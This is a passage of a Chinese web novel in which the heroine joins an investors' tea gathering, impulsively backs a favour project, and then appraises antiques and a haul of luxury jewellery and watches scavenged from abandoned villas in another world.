四人挤在厨房里三下五除二干完了本就不多的杂事，饭后，一人抱着一瓶冰可乐吨吨吨，幸福地晃动脚丫子。 七夕节的带来的客流仍未散去，街巷热闹极了，连带着小卖部和不破斋生意也好起来。 萧妧妧歇了没一会，又忙起来。 忙着给小卖部货架补货，忙着给小票打印机换纸，顺带拆了几箱饮料放冷藏柜。 回到后院，不破斋也迎来了慕名进店的客人，目标明确，买翡翠。 可惜，他们注定白跑一趟，看到空空如也的首饰展示柜，失落询问何时上新后，挑走一两件绿松石蜜蜡等手串，到底不算白跑一趟。 三点左右，萧妧妧把店铺托付给孟甜甜，回家换了一身文艺女青年装扮，一身苎麻衣裙，清冷又不失禅意。 发间还是那支金嵌翡翠一字簪，耳坠挑了相似材质的配成一套戴上，项链便没戴了，私下聚会不好太隆重，只在手腕间绕了一串玳瑁佛珠。 萧妧妧在镜前转了一圈，很满意自己“南市佛女”的形象。 聚会地点设在一间会员制高端茶楼，比月牙巷那家高出许多档次，光是停车场一溜排的低调豪车就足以看出来往宾客身份不简单。 进了茶楼更是叹为观止，金碧辉煌与古色古香结合得十分融洽，处处萦绕茶香与檀香，来往客人看起来很有派头。 萧妧妧前面还在和黎行聿叽叽喳喳说些有的没的，进了茶楼不自觉装模作样起来。 大家差不多都选择提前一会到，进包间一看，差不多已经齐了。 十多人一见面互相寒暄，认识的不认识的相互介绍，坐下很快聊起来，包间顿时热闹起来。 萧妧妧散了名片，乖巧听大家闲聊。 或交流家里琐事，或聊起时政新闻，又或者说起圈里最近发生的大小事，没什么稀奇。 萧妧妧以为所谓的茶话会就是唠嗑的时候，包间门敲响，孟有树和一个年轻男人先后进来。 “正好，就差你们了，来，坐坐坐。” 孟有树一一打招呼，指了指身后年轻人：“带我侄子过来跟大家见见，他最近就在忙一个什么投资，特别新潮，我也不懂，正好大家在，一起听听意见。” 年轻人上前一步，大大方方的自我介绍。 闹腾了一阵子，众人入座，做为聚会的组织者率先抛出话题。 萧妧妧一听，切入点并不特别，说的还是最近的经济走势，什么期货股票黄金，畅谈无阻。 和普通人的找话题瞎聊不同，他们毕竟是深入行业的从业者，体会更深刻，交流起来视角也大有不同，不止是倒苦水。 萧妧妧不太感兴趣，仍旧支起耳朵听，听着听着她忍不住走神。 果然，投资这行她学不来，枯燥，无聊。 尤其对面一群浸淫投资金融圈许多年的老油条，对她这个还没入门的新手非常不友好。 萧妧妧不知道他们为什么惊叹，又为什么愁闷，专业名词甚至听不出来是哪国语言。 黎行聿见她双眼发直，低声问：“不感兴趣？” 萧妧妧脸一红，坦白：“听不懂。” 黎行聿了然，趁热络气氛淡下来，老话题聊不出新花样，主动开口。 “汪总，听说你最近参与了农业项目？我记得李总也一起投了？” 黎行聿突然插入话题，大家渐渐把关注点从行业趋势，转移到项目上。 说起投钱赚分红，萧妧妧勉强打起精神。 李总投了零食加工，获取大家对此行业了解的信息，顺带拉着感兴趣的熟人一起加入。 毛先生看好农业，迟迟没下手，虚心向汪总打听当地政策和注意事项。 黎行聿的学长杨先生最近看中一家奶茶品牌，主动袒露面临难题，询问有无靠谱供应链介绍。 孟有树也说起他看好的一家医疗企业，有国外知名投资机构参与，国内陆续有投资人跟进。 萧妧妧越听越精神，到这时才觉得有点意思。 所谓的交流不是简单说说话，而是大家聚在一起，互相打听。 我打听这家公司的背景，有无过硬关系，他打听那家公司可信度，风险大小。 你的项目听起来不错，我投了，我的项目有前景，他打算跟进。 投资人的聚会，彼此之间信息共享，互相推荐项目，拉熟人入场分摊风险。或是找人脉关系，为自己的项目牵线搭桥，促进项目发展。 这样你来我往，通过资源或者信息交换拉进关系，建立信任，形成一个较为封闭的圈子。 萧妧妧一连听到几个名气不小的品牌，暗暗咋舌，幸亏有黎行聿带她参加活动，否则很难找到门路获取这些资源。 别看只是动嘴皮子，其实已经促成了几单合作，约好回头细聊。 三言两语间，合作达成，资金有了眉目，难怪一些酒局饭局那么多人挤破头加入，都是资源啊。 萧妧妧一连听了七八个项目，个个听起来钱途无量，心动了一次又一次。 但黎行聿没什么反应，也不太感兴趣，偶尔问问细节，并不深入。 她偷摸戳了戳黎行聿，悄声问：“这么多项目，你看好哪个？” 黎行聿端水：“听起来都还不错。” 萧妧妧换了个问法：“有你想投的吗？” 黎行聿摇头。 萧妧妧暗自腹诽，该不会是嫌生意小吧？ 投资西风科技金额以亿计数，花钱时眼睛不眨，而面前谈论到的项目，回报率比不上西风科技，投资金额多处在百万千万级别。 他对投资项目态度冷淡，萧妧妧也很快冷静下来，打定注意跟紧黎行聿投。 “正好，你们看看我家小孩的项目，潮玩什么的，不知道靠不靠谱。” 孟有树按捺不住，把话题往自己身上引，他胳膊捣了捣自家侄子，示意他开口说话。 年轻人接收到暗示，起身为大家斟茶，缓缓开口介绍自己的项目。 “小孟总的目标市场规模从何而来？这上面的细分数据还不够，缺乏支撑估值的可信度。” “现有的潮玩品牌发展成熟，客户凭什么选择你的产品？” 一直没怎么主动问起项目的黎行聿罕见开口，问了几个稍显犀利的问题，在座其他几人不约而沉默，包间诡异的安静了片刻。 年轻人瞬间紧张起来，两手无措地揉搓着，眼睛求助地偷看叔叔，过了几秒才磕磕巴巴回答。 萧妧妧顿时来劲了，目光灼灼盯着斜对面叫孟怀一的同龄人。 他说了什么，萧妧妧其实没完全明白，不过胜在态度足够坦诚。 黎行聿沉吟两秒，干脆利落道：“6000万，占股15%，下一轮跟投权锁定，能接受的话，我现在就让法务部拟TS。” 年轻人呆立当场，茫然去看孟有树的意思，什么跟投权锁定，他还不明白。 孟有树起身，拍拍侄子的胳膊，哈哈笑。 “好好好，黎总愿意投，自然都好说，能接受，肯定能接受。” 孟怀一知道叔叔不会害他，迟钝反应过来，他终于拉到自家人以外的投资人了！ 孟怀一笑得牙龈外露，连声说谢。 萧妧妧见状，歘一下举起手：“我我我，我也要投，3000万怎么样？” 话落，她忽然察觉另一边手腕一紧，温热干燥的手在桌下按住了她。 萧妧妧不解其意，扭头去看黎行聿，但没给她读懂明白黎行聿眼色的机会，孟有树的爽朗笑声传来。 “哎呦，这可太好了，谢谢萧老板照顾，你们年轻人合作项目一定比我们顺畅。” 孟怀一转向萧妧妧，礼貌颔首，把文件递来，跟着叔叔一起叫一声萧老板。 萧妧妧哪有心思看文件，心里惴惴，不知道黎行聿什么意思。 陆续有其他人问起孟怀一投资事项，氛围再次热络，黎行聿悄悄包间，萧妧妧接到他的明示，隔了一会借口去洗手间起身离开。 出了包间，沿着走廊向前，黎行聿等在拐角。 萧妧妧步子踌躇，缩着脖子走向他：“怎么了？我刚刚是不是做错了什么？” 黎行聿温和淡笑，引着她往茶楼观景台方向走，一副找个地方长谈的架势。 萧妧妧更忐忑了，拼命回想。 “没做错，只是太冲动了。”他边走边说，闲聊的语气回道。 萧妧妧品味一番，那不还是错了的意思？ 心里默默复盘几秒，她恍悟：“你说的是那个潮玩投资？” 黎行聿点头。 萧妧妧大大松了一口气，拍着胸口道：“你吓我一跳，我以为出大事了。没有冲动，你投我就投，跟着你投难不成还会赔本？” 对上她清凌凌、全是信赖的目光，黎行聿一时间怔住，说不出话。 他挪开视线，叹气解释：“投孟怀一是看在孟有树的面子上，你可以理解为人情往来。 换句话说，不管孟怀一做潮玩还是土玩，回报率是正是负，我都会跟。 6000万就当是花出去了。” 萧妧妧不由呆滞，停住脚步，机械眨眼。 6000万的人情往来？ 黎行聿：“后悔了吗？” 萧妧妧五官皱成一团，步伐沉重。 确实有点后悔，但话已经放出去了，毁诺丢面不说，以后不好面对孟有树。 硬投吧，那可是3000万，萧妧妧舍不得，她格局还没升到为人情花费千万的程度。 萧妧妧俏脸皱起，神情几度变幻，黎行聿轻弹她脑门，唤回她注意力。 “吃一堑长一智。来之前我是不是交代过？随便他们说得天花乱坠，没有看到尽调之前不许盲目跟投。” 萧妧妧心虚，垂下脑袋紧盯脚尖不吭声。 黎行聿见状，说不出一句重话，语气越发和缓的宽慰她：“3000万而已，不严重，私下我和孟怀一说一声，黎明改投9000万，你的那份就算了，不是大问题。” 萧妧妧耳尖一抖，急忙拒绝：“那不行，我说过投3000万，肯定要投的。” 先不说其他，让黎行聿帮忙补3000万的窟窿，她脸皮是有多厚？ 而且，不管什么缘由投的潮玩项目，说到底都算黎行聿的投资，不应该会亏本。 萧妧妧对自己没什么信心，对黎行聿和黎行墨兄弟俩充满了信任。 信任到她可以盲目跟投3000万，哪怕它是个人情项目。 萧妧妧考虑清楚，果断决定继续跟投。 之前是因为冲动，这次是她深思熟虑后选择赌一把。 她踮起脚，拍拍黎行聿肩膀，语气轻松。 “就这么说定了，我相信你的眼光，肯定不会亏。 你看给我的那些项目报告，只有赚的多少的区别，说明你运气也好。 如果连你都投资失败，那我亏3000万就没什么可说的，认命。” “不过你说得对，我确实冲动了，哪怕再相信你，也要缓一缓做决定。” 萧妧妧严肃认真的反省。 “但话又说回来，万一真亏了我也愿赌服输，投资嘛，很正常，不怪任何人。” “等等，你不会是把赔钱的项目藏起……” 正说着话，手腕传来熟悉的温热干燥触感，突如其来的拉扯力道让话音戛然而止。 萧妧妧脚步踉跄一下站稳，下意识垂眸，视线落在腕间骨节分明的手背上，然后顺着他结实的手臂上移目光。 萧妧妧：？ 黎行聿没说话，定定地望着她。 对上他黝黑深邃的眼眸，萧妧妧情不自禁开始反省，然而反省一会，没发现自己做错什么。 “……有话好好说，你直勾勾看着我怪吓人的。”萧妧妧缩着脖子弱声道。 话落数秒左右，手腕上的热源消失，黎行聿松开了她。 “我是想说，不会让你赔钱。” 【作者有话说】 感谢读者“招財貓魚”,灌溉营养液 +5 感谢读者“婷婷”,灌溉营养液 +1 169 第169章 ◎居然是别人挑剩下的◎ 两人前后脚离开,又前后脚回到包间。 萧妧妧一派轻松，捧着脸听大家交流。 黎行聿绕去孟怀一旁边坐下，拿起项目书一页一页细看。 孟怀一吓得心脏跳停，刚刚也没见黎行聿多认真看,这会怎么变了？ 他拽了拽孟有树的袖子,用气音无声询问：“黎总不会是想挑出毛病,趁机反悔吧？” 孟有树拍拍侄子的手,“不能，你又没得罪他。” 孟怀一还是不能放心,尤其略等了片刻后，黎行聿眉头紧蹙,神色有几分不满，好像严苛的教导主任批改了一份写满英语的物理试卷。 他的项目有这么糟？还是数据太虚浮被看穿了？ 孟怀一如坐针毡,两手不自觉揉搓膝盖缓解紧张情绪。 “投资的事不会变，项目有些问题我还要多了解一下。 以及,PlanB回去再想想,重新拟一份报告给我。 先说说供应商,合约谈妥了吗？没有的话可以不用继续谈,谈完了立刻走解约流程,生产方面黎明会安排更好的资源。” 孟怀一紧张得快喘不上来气，好不容易听到黎行聿发话，闻言不禁傻眼。 虽然这么形容有点冒犯，但,黎行聿好像那个放弃了差生的老师，突然对差生管教起来。 前面一副只打钱,其他一概不管的姿态,这会又提出诸多意见要求重新整改,看似是更上心了。 孟有树品出味来，喜不自禁，一把扒拉开自家傻侄子，满脸堆笑的和黎行聿说话。 下午茶结束的时候，这一场聚会促成了六笔生意，讯息也互相交流出去。 有了收获，大家心里高兴，按例要开始第二轮的聚餐，在酒桌上喝个尽兴。 黎行聿不参与晚上的局，领着萧妧妧敬了各位一杯茶，安排助理签单包下聚餐所有消费，施施然离去。 孟有树年纪大了，注重保养，也不爱在外面胡吃海塞，拉着孟怀一敬茶后，主动包下聚会费用，紧跟着离开。 萧妧妧为感谢黎行聿的帮忙，兑现誓言，请他去全南市最贵的餐厅吃晚饭。 直到深夜回家，萧妧妧也想不明白，一顿饭怎么就能吃出十万的价格，单一个主厨服务费就一万出头。 不全是心疼钱，更怕被人当冤大头宰。 月牙巷仍处于管控状态，两人在封控区下车，一路溜达回巷子。 靠近家门口的时候，两人齐齐愣住。 “爸、妈？”*2 树荫下的花坛常年聚集了纳凉闲聊的邻居，但今天有所不同。 萧妧妧看到了萧大明和张芸，旁边是黎行聿的爸妈，叶赛宁和黎岸。 四人坐着小马扎，手里摇着蒲扇，一口一个姐姐妹妹的热聊。 主要是张芸和叶赛宁热聊，萧大明时不时附和，黎岸偶尔搭话。 萧妧妧诧异不一，想不到他们怎么聊到一起去的，黎行聿则淡定许多。 看到两个孩子回来，双方意犹未尽停下话题，这才注意到已是深夜。 “小叶啊，明天接着聊，这一不注意就十点多了，得早点休息。” “芸姐你回去休息吧，和你聊天真开心，时间一下子过去了。” 两人握了握手，像找到知己一样恋恋不舍。 回到自家院子里，关了门，萧妧妧憋不住问出口。 “你们怎么认识的？” 张芸脸上还带着笑，乐呵呵说：“就今天啊，夫妻俩刚住过来，一开始说是来认识认识邻居，后来又问附近哪里好玩什么的，就聊起来了呗。” “对了，小叶说特别喜欢你，拉着我聊了好多，我怀疑她想撮合你和他儿子相亲。” “跟你差不多大的那个小儿子有对象了，大的那个倒是没有，不过我听说他们家挺有钱的，太有钱也不行。可惜了，小叶大儿子长得真不错。” “对了，你们怎么一起回来了？” 说着说着，话题转到了萧妧妧，她只好含糊道：“半路碰上了。” 萧妧妧怕说了实话张芸多想，回头又要催她谈恋爱结婚，索性从一开始扼杀可能性。 张芸哦了一声，不以为意，催促道：“赶紧洗洗睡吧，天天熬夜身子扛不住，老了遭罪。” 萧妧妧呲溜一下躲回房间。 早睡是不可能的，新的一月到来，她有太多事情要安排。 时钟跳到0点，萧妧妧噌一下爬起，依次给鎏金铜像估价。 鎏金马羊貔貅等高度差不多，20多厘米左右，鎏金保存度大于95%，存在少量磕碰，是以价格较之市面上流通的同类器物高出许多，500万-800万不等。 因汉朝鎏金铜器属于高古金器，文物等级较高，受到法律严格监管，合法流通途径只有拍卖行，或者其他不为人知的特殊渠道。 萧妧妧直接查拍卖行历年的高古金器成交价，动物造型的大多在千万元徘徊。 更别说她手上的器物保存完好，一点磕碰更添一丝“古”味，比市面上大部分同类品都要优秀，或许可以展望一千中几的价格。 动物造型算高古金器当中价格偏低的品类，另外几件佛像、人像价格远远超过。 鎏金铜观音、财神、弥勒佛因大小不一，长久存放在库房里出现金层脱落，鎏金保存度仅为70%左右。 萧妧妧一一估价，系统分别给出了2100万、1600万、1100万的标价，直接翻倍。 至于剩下十几件鎏金铜像，萧妧妧扫了一眼决定收起来。 数量太多冲击市场，影响行情，先在手上放几年再说吧。 既然不急着出手，萧妧妧便舍不得浪费估价机会，一股脑塞回去。 鎏金铜像这一类大致整理完，分别包好装起，继续为店铺销冠翡翠估价。 比如那架春带彩屏风，一放出来房间的光线都暗了几分。 萧妧妧自己估过一次，1.8亿左右比较合适，再高就不太敢想，更主要的是市场没有同类型藏品做参考。 等系统弹出图片，看到下面一串零，萧妧妧沉默。 是她保守了。 系统对它很有信心，给出2.3亿的预估价。 一看到价格，萧妧妧不由生出迟疑。 2开头的九位数，那可不少了，恐怕能买下的人不多。 萧妧妧一屁股坐下来，陷入沉思。 送拍是肯定要送的，但是卖不出去就很让人苦恼，可为了打响名声，又不能撤。 萧妧妧考虑一下代价，决定正常送拍，卖不出去就当是赔本赚吆喝，何况她现在只有赚的份，怎么算都不亏。 又想了想，她拍下屏风照片，等第二天发给季随，看看他那里能不能用得上。 屏风塞回去，地上扑了一块被子大小的绒布，手镯、手串、平安扣无事牌等一一摆放。 系统估完价她就拍张照片，照片备注好价格。 一连忙到深夜两点，萧妧妧看数量足够决定暂时收手，捏起绒布四角打包翡翠首饰扔空间。 躺回床上，她也没立刻闭眼睛休息，相册和计算机两个APP*来回切换，算出恰当的售价。 然后，萧妧妧又去关注同行，看别人差不多档次的货能卖多少，根据情况对售价做出第二次调整。 第二天蒙蒙亮，萧妧妧有种似睡非睡的困倦感，连梦里都在按计算器。 时间尚早，还可以再睡会，一闭眼，萧妧妧想起今天事情不少，睡意全无，在床上扭了好一会，哀嚎着爬起洗漱往店里赶。 孟甜甜不知道是醒得早还是忙了一宿，萧妧妧进院子的时候，她正在晾晒雨衣雨靴，旁边的登山包鼓囊囊。 “今天挺早，吃早饭了吗？我来点外卖。”孟甜甜意外一会，指了指登上包，“对了，东西是给你带的，我撬了几个别墅，就搜出这么多。” 萧妧妧一听是零元购来的东西，精神一阵，快步冲过去。 “一盒、两盒、三盒……” “二、四、六……” 萧妧妧把登上包翻了个底朝天，翻出大小一共36个首饰盒。 多功能口袋容量不大，却也没浪费，孟甜甜扔了盒子，只取里面贵重物品塞进去。 左边第一个口袋装了一对珊瑚耳坠，珊瑚球有山楂那么大，估计值个四五十万。 第二个口袋装了一串珊瑚与绿松石搭配的长珠链，颇有少数民族的风格。 背后宽口袋塞得更多，钻石女士手表三只，男士机械手表两只，奢侈品手镯四只，手链裹在一起拆不开，粗略数出来十五条。 右边的插袋鼓囊囊，掏出来一看，方糖大小的宝石项链牵牵挂挂，拎出一条带出一团。 萧妧妧心疼坏了，小心翼翼拆分开平铺，检查有无擦痕。 确定它们完好无损，她才有空欣赏。 一条项链六块方糖大小的主石，副石细碎却闪亮，看得出火彩极好。 这样的项链一共有7条，它们款式一致，只有主石颜色各不相同。 她仔细看了看，无色的钻石，绿色的祖母绿，蓝色的蓝钻，粉色则是粉钻，黑色有黑欧珀，黄色是帕帕拉恰，红色是尖晶石…… 合着是有收集癖啊，直接凑出一条彩虹，完美解决颜色搭配的难题。 目不转睛地盯了许久，想到这套彩虹项链已经属于她，萧妧妧乐不可支。 乐得嘴角酸疼，她才去扒拉底层插袋。 拉链刚拉开一道小口，一枚海螺珠急不可耐的挤出头呼吸。 等拉链完全拉开，插袋敞开，里面塞得满当当的戒指哗哗啦啦流淌出来，易拉罐拉环她都没见过这么多，何况是宝石戒指。 插袋较深，还藏了浅浅一层东西，萧妧妧助它们一臂之力，勾起手指一拨，扫垃圾一样扫出来小山一般的戒指堆。 一时半会数不出来，目测一番，少说上百枚。 稍稍拨平整些，萧妧妧看得更清楚，忍不住哇了一声。 百来枚戒指各不相同，设计的款式风格可以说大相径庭，唯一的共同点是主石很大。 最小的和冰糖差不多，比如海螺珠戒指，最大的比棒棒糖还大一圈。 从价位来说，十万、百万、千万，全了。 从材质区分，钻石、宝石、珍珠、稀有宝石，也全了。 从颜色来分，赤、橙、黄、绿、青、蓝、紫、黑白、渐变，全得不能再全了。 素雅的花哨的，华丽的美艳的，还有一些丑得没眼看的纪念款、搞抽象的特别定制款，太多了。 萧妧妧看得眼花缭乱，最后挑出一只海螺珠戒指，来回试了几下，套在尺寸一致的大拇指上。 “你们那个别墅区挺有钱啊。” 孟甜甜刚点完早饭外卖，忙着洗刷雨鞋，头也不抬的回应：“可不是，我们那里最顶级的别墅。这还是屋主带不走的，那些被带走的不知道有多贵。” 萧妧妧又哇了一声，旱的旱死涝的涝死，这么多宝石钻石珍珠，居然是别人挑剩下的。 孟甜甜催促：“别只看外面这些，你看看盒子里那几个，更贵。” 萧妧妧闻言，赶紧把登上包丢去一旁，空出位置放首饰盒。 【作者有话说】 再也不会微醺码字了，上一章好多错字，改的时候甚至没读懂写了什么，改到最后直接红温[裂开] 感谢读者“miaowuyami”,灌溉营养液 +5 感谢读者“招財貓魚”,灌溉营养液 +1 170 第170章 ◎还满意你看到的吗？◎ 首饰盒按大小依次排开,萧妧妧先挑出几只不起眼的小方盒开始拆。 水汽与寒气浸得盒子冷冰冰、潮乎乎，隐约能稳定腐朽的气息。 打开盖子后，看清里面东西，萧妧妧瞬间变脸,嫌弃神色转变为惊喜。 “理查德米勒！” 虽然没亲眼见过实物,但品牌标识她认得。 她摘去绒布垫子,也不怕它冻手了,一个劲往手腕上套。 谁能想到啊，瞧不上眼的小盒子上来就惊艳了她。 “蓝宝石表壳,水晶陀飞轮，全球限量。”孟甜甜在树下角落找了隐蔽位置晾晒雨靴,路过萧妧妧时抽空瞄了一眼。 萧妧妧闻言很快冷静下来。 全球限量，卖出去几只大家心里有数,或许连买家身份都能知晓。 她手里这只信息编码肯定对不上，岂不是要沦落为黑户？ 正规渠道出不了手,一查全露馅,其他特殊渠道她又找不到门路。 萧妧妧想到这一点,左右为难,泄气塞回去,看下一件。 同样的小盒子，应当也是手表，萧妧妧只希望别是什么全球限量了，头大。 她嘀嘀咕咕几句,打开盒子一看，一只已经停产的收藏级铂金款复杂功能百达翡丽。 钟表拍卖会上有出现过相同款式,落锤价1200万。 萧妧妧啪一下合上盖子,心在滴血。 这么贵的玩意,技术信息对不上，没有原厂证书，拿不出完整的合法权属证明，送去拍卖行连预审的关都过不去。 萧妧妧最多戴出去装一下逼，要么不计较损失，送去非正规渠道出手。 “这么看来还是翡翠方便。”她摇头叹气。 顶奢高奢有各种常人无法得知的验证手段，购买证明好办，但物品自带的身份信息不好解决。 何况两个世界总归有出入，不可能每个部件都恰好能对上。 这么一来，剩下的三个方盒子，萧妧妧也不抱什么期待了。 “你又不缺钱，卖不出去就自己戴着玩嘛，真等你穷到揭不开锅的时候，它们就是你的退路。”孟甜甜安慰心碎的她。 “我不许你乱说，你快呸呸呸！童言无忌，童言无忌！ 我才不会有穷到揭不开锅的时候。” 孟甜甜捂嘴笑，在萧妧妧的紧盯下，快速“呸呸呸”。 萧妧妧满意了，把两只“退路”搁在一边。 剩下三个盒子果然还是手表，奢侈品牌女表，采用珠宝镶嵌。 一只卡地亚猎豹陀飞轮，猎豹镶满钻石。 两只理查德米勒，粉陶瓷和珐琅工艺，全球限量的复杂功能款。 一只比一只贵，一只比一只浮夸。 萧妧妧抿紧嘴唇，心凉了半截。 说是可以戴出去装逼，真戴出去恐怕没多少人认出来，甚至认为它们平平无奇像地摊货。 它们不能算普通奢侈品，妥妥属于投资收藏，是可以拿去抵押贷款的资产，拍个照片炫耀一下就得放回保险箱的那种。 尤其理查德米勒的限量款，比股票靠谱，年均升值10%以上，多是买回去当投资，做为家族资产，没听说谁会日常佩戴。 萧妧妧想不到有什么场合，需要她戴价值千万的手表装逼撑场面，万一戴出去磕了碰了，心疼死她。 眼不见心不烦，五只手表发配角落，萧妧妧去拆大方盒。 她比划了一下尺寸，一眼看出这种盒子装着成套的首饰。 打开确认，也确实如她猜测一般。 第一个盒子，玻璃种翡翠蛋面套链，中间主石是一颗大白玻璃蛋面，两边各嵌了三颗稍小些的白玻璃。 七颗白玻璃蛋面圆润饱满，水汪汪犹如七颗大水滴。 蛋面之间间隔镶嵌6克拉的无色方钻，链子部分则对称镶嵌了32颗4克拉的方钻。 “我喜欢这种，好出手。” 萧妧妧掂了掂份量，很满意这条翡翠套链，看到系统估价后更满意了，足有5000万！ 5000万是包含整套的价格，里面一对白玻璃耳坠也算在其中。 比起套链主石，耳坠的蛋面稍小许多，萧妧妧见过太多类似好东西，扫一眼便把注意力放在大头的项链上。 打开第二盒，萧妧妧意外了一瞬，这次不是项链，而是切割好的彩宝裸石。 她数了数，盒子里一共有55颗裸石。 光是帕拉伊巴就有几种不同造型，水滴、心型、椭圆……一颗比一颗大，6颗摆成一排刺得人眼睛疼。 萧妧妧掂量一下，小的那颗有30克拉，大的达到49以上。 再是祖母绿，一共5颗，切出相同造型，肉眼看大小成比例变化，最大的那颗足有50克拉！ 这5颗一看就是留着定制高端首饰的，净度火彩极佳，可惜没能做出成品就落到萧妧妧手里，算它命好。 除了这几颗彩宝，旁边另有两排大小色泽一致的海螺珠，一共22颗。 这是她开店以来第一次收到如此多数量的海螺珠，光是那堆戒指里就有十来个海螺珠做主石的。 从浅玫瑰色到粉红色，再到棕粉色，甚至连最昂贵的火烈鸟粉都有。 比如22颗裸石，色标级别的火烈鸟粉，颗颗11mm以上，大小相近，绝对算得上珍品。 海螺珠成堆出现，数量多到萧妧妧完全忘记它是最稀有的有机宝石之一。 因为无法人工养殖，产量有限，每年最多发现3000颗，而其中仅有不到30%的海螺珠可用于首饰加工，成为昂贵饰品。 这22颗海螺珠保存完好，不敢想设计出成套首饰该有多惊艳。 萧妧妧赞叹一句绝美，轻手轻脚塞回去，又去看旁边的海蓝宝。 相对前面几种宝石，海蓝宝稍显平凡，这个平凡指的是价格以及保值性。 但能和顶级彩宝摆在一起，怎么说也差不到哪去。 她仔细辨别后，很快确认，视觉颜色浅蓝，可以给到圣玛利亚色，绝对属于海蓝宝中的顶级。 眼前的海蓝宝裸石不能形容为颗，准确点说该叫块。 这一大块少说有60克拉，放在手心里甚至不能完全握拢手掌。 相同品质和档次的祖母绿、帕拉伊巴价值千万起步，乃至过亿，圣玛利亚海蓝宝则便宜许多，比前者少一个0。 到这里才看完34颗，总价值已经超过3亿，更别说剩下的21颗黄钻裸石，它们也没便宜到哪去。 黄钻在彩钻中虽比不上蓝钻粉钻，但价值不可小觑。 这21颗大小形状相同，每颗均有30克拉，采用圆形明亮式切割，极大展现了它的火彩和亮度。 再说它的颜色级别，肉眼看可以轻易判断出来，绝对达到了艳彩黄。 黄钻越黄越值钱，在黄钻颜色等级中，艳彩无疑是最高的那一类。 眼前的21颗黄钻黄到金灿灿的程度，仅是裸石状态，没有底色衬托就已经非常浓郁，再好好设计一番，恐怕美得不可方物。 55颗裸石都属于各自品类中的顶级，数量还不少，这一盒子抵得上前面所有。 萧妧妧捡起一粒感受一下，心里忍不住计较它们的价值，计算完以后，哪怕手腕坠得发酸，也舍不得把它们放回地上。 孟甜甜：“我没骗你吧？全是好东西。” 萧妧妧附和点头，眼睛舍不得挪开半分。 太美了，美到萧妧妧迫切想动手设计一款项链，把它们全部镶嵌上去，头掉了也要戴着它们。 “后面还有呢，抓紧时间看，马上要吃早饭了。” 萧妧妧欣赏珠宝的时候不止要查资料，还会戴在身上比划，是以速度有些慢，可以说是磨蹭。 孟甜甜见状，看了看剩下未拆盲盒数量，忍不住提醒一句。 萧妧妧应了一声，合上盖子扔空间，转而去看后面几盒。 “老天奶，你怎么把海洋之心给我送来了？” 随手打开一个盒子，萧妧妧乍一看过去，惊呼出声。 太像那条众所周知的海洋之心了。 整条项链由无色钻石对称镶嵌，冰糖大小的钻石一共用了66颗，主石是一颗超大的矢车菊蓝宝，主石周围镶了两层两克拉左右的圆形切割小钻石。 深邃的颜色，经典的造型，一眼望过去，高贵，神秘，典雅，像来自深海的女神。 孟甜甜一头雾水：“什么海洋之心？” 萧妧妧不嫌麻烦，翻出照片给她看。 孟甜甜一手手机一手项链，对比片刻，惊诧道：“确实有点相似，经典款嘛，撞设计很正常。细节还是不太一样的，你看，咱们手里的要大一点，心形更饱满，颜色好像也深一点。” 萧妧妧多看一眼，补充：“人家的项链没有钻石，咱们这个有。对了，这是电影道具，用其它宝石顶替的。” 孟甜甜：“难怪看起来颜色不对，对比一下，还是咱们这条更值钱。” 不仅主石够大，足有60克拉，还有副石66颗足以做普通项链主石的钻石做陪衬，这一条少说一个亿。 萧妧妧啧啧出声，小时候看电影不懂，只觉得一条项链而已，现在明白珠宝价值再看，这么昂贵的项链在她手里弄丢，她得悔吐血。 项链放回首饰盒，连首饰盒一起丢空间，萧妧妧继续。 下一盒依旧不简单，翡翠套链，帝王绿与茄紫搭配的多层套链。 这条翡翠项链一共设计出三层，最里面的那层主石是茄紫蛋面，龙眼那么大，项链由钻石镶嵌。 第二层两边项链依然采用钻石，主石换成了稍大些的帝王绿。 第三层稍微特别些，钻石和帝王绿间隔镶嵌，大小和第二层的主石一致。 至于第三层的主石，是比荔枝还大一点的茄紫蛋面。 萧妧妧从来没想过，紫色与绿色配在一起能有这么惊艳。 这一条，又是一个亿起步。 萧妧妧爱不释手地试戴一会，赶紧收起来。 她刚要继续，院门咚咚咚响，早饭外卖送到。 孟甜甜开门拿外卖，萧妧妧加快速度过一遍，做到心里有数。 为了方便，她索性全部打开，囫囵吞枣扫一眼。 说好快速扫一眼，真把剩下几排首饰盒打开排排放，萧妧妧发现根本看不过来。 缀满粉钻的项圈链，主石是颗40克拉的大水滴，恰好挡住咽喉部位，搭配的粉钻玫瑰金宽手镯，主石副石加一起远超100克拉。 稍长的公主链略显花哨和浮夸，每一种颜色的钻石各选取一颗，切出完全不同形状镶嵌，垂挂下来的主石了不得，是一瓶风油精。 萧妧妧眼睛越瞪越大，亮成探照灯。 她捡起那瓶风油精摸了摸，有点破防，比风油精瓶子大一圈，确凿无疑的祖母绿。 视线再往旁边挪半寸，是一条多层珍珠链，上面几层没有什么特别，大小一致的椭圆形珍珠。 最下面那层的主石很稀罕，是一颗切成球形的无色钻石，大小和荔枝完全一样。 她拨了拨那颗无色荔枝，沉甸甸，晃动间火彩刺目。 珍珠多层链旁边还是一条多层珠链，长度还要更长些，肉眼看是比帝王绿更深一点的绿，应该是品相比较好的绿碧玺。 绿碧玺珠链一共三层，每一层最中间的主石都是一颗长水滴形状的绿碧玺，三层三颗主石，等比例增大，最外面那层水滴形主石有萧妧妧食指那么长。 视线往上挪，是一条简约的短项链，整条项链由蓝宝石打造，切割成几何形的副石按规律串联，每一颗大约10克拉左右，一克拉的碎钻点缀其中，最中间的主石则是一颗40克拉的蓝宝石球体。 项链中间，是配套的蝴蝶造型蓝宝石胸针和戒指一枚。 萧妧妧才扫了不到十件，眼睛快瞎了，心态从一开始的“卧槽，好贵”，渐渐转变为“也就那样吧”。 一堆昂贵珠宝摆在眼前，萧妧妧承认，她麻木了，祛魅了，冷静了。 要么祖母绿，要么蓝宝石，要么各种颜色的彩钻，要么就是玻璃种翡翠，来回它们几个老演员，互相搭配。 粉的橙的紫的蓝的，看多了，萧妧妧审美疲劳，神情越来越平淡，唯有系统给出估价的时候稍稍震惊片刻。 但也没有太震惊，反正大差不差在大几千万以及小几亿的价位。 萧妧妧着重挑了几件设计华美的款试戴，然后一一存放起来。 麻木归麻木，好东西还是要妥善保存的。 国内的拍卖行到底有局限，萧妧妧打定主意，送其中几件去国外拍卖行，或者等佳博开办国外专场的时候再参与。 萧妧妧收拾妥当，肚子咕咕叫，分赃耽误许久，这会饿得不行。 她蹦蹦跳跳来到桌边，一口一个小笼包，吃得满嘴油。 孟甜甜看她高兴，故意问：“怎么样，还满意你看到的吗？” 